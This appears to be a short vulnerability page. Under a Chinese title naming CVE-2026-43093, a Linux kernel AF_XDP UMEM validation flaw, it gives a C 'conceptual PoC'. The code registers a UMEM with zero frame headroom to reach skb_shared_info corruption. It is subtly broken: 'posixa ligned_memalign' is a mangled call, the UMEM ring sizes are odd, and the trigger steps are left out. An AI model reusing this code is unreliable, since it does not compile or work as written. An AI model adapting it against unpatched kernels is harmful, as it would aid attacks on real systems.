CVE-2026-43093 Linux内核XSK UMEM验证漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/if_xdp.h> #include <bpf/xsk.h> // This is a conceptual PoC for CVE-2026-43093 // It attempts to register a UMEM with insufficient headroom // which might trigger the vulnerability on unpatched kernels. int main() { struct xsk_socket_config xsk_cfg; struct xsk_umem_config umem_cfg; struct xsk_umem *umem; struct xsk_socket *xsk; void *buffer; int ret; // Set buffer size (e.g., 4096 bytes) int buf_size = 4096; posixa ligned_memalign(&buffer, getpagesize(), buf_size); memset(&umem_cfg, 0, sizeof(umem_cfg)); // Vulnerable configuration: setting headroom to a value that // doesn't account for tailroom/skb_shared_info (e.g., 0 or very small) umem_cfg.fill_size = buf_size; umem_cfg.comp_size = 0; // No completion ring umem_cfg.frame_size = 2048; umem_cfg.frame_headroom = 0; // Potentially insufficient headroom // Try to create UMEM with the vulnerable configuration ret = xsk_umem__create(&umem, buffer, buf_size, NULL, NULL, &umem_cfg); if (ret != 0) { printf("Failed to create UEM (expected on patched kernels): %s\n", strerror(-ret)); return 1; } printf("UMEM created with potentially vulnerable headroom.\n"); // Further steps would involve binding to a network interface and traffic // to trigger the corruption of skb_shared_info. xsk_umem__delete(umem); free(buffer); return 0; }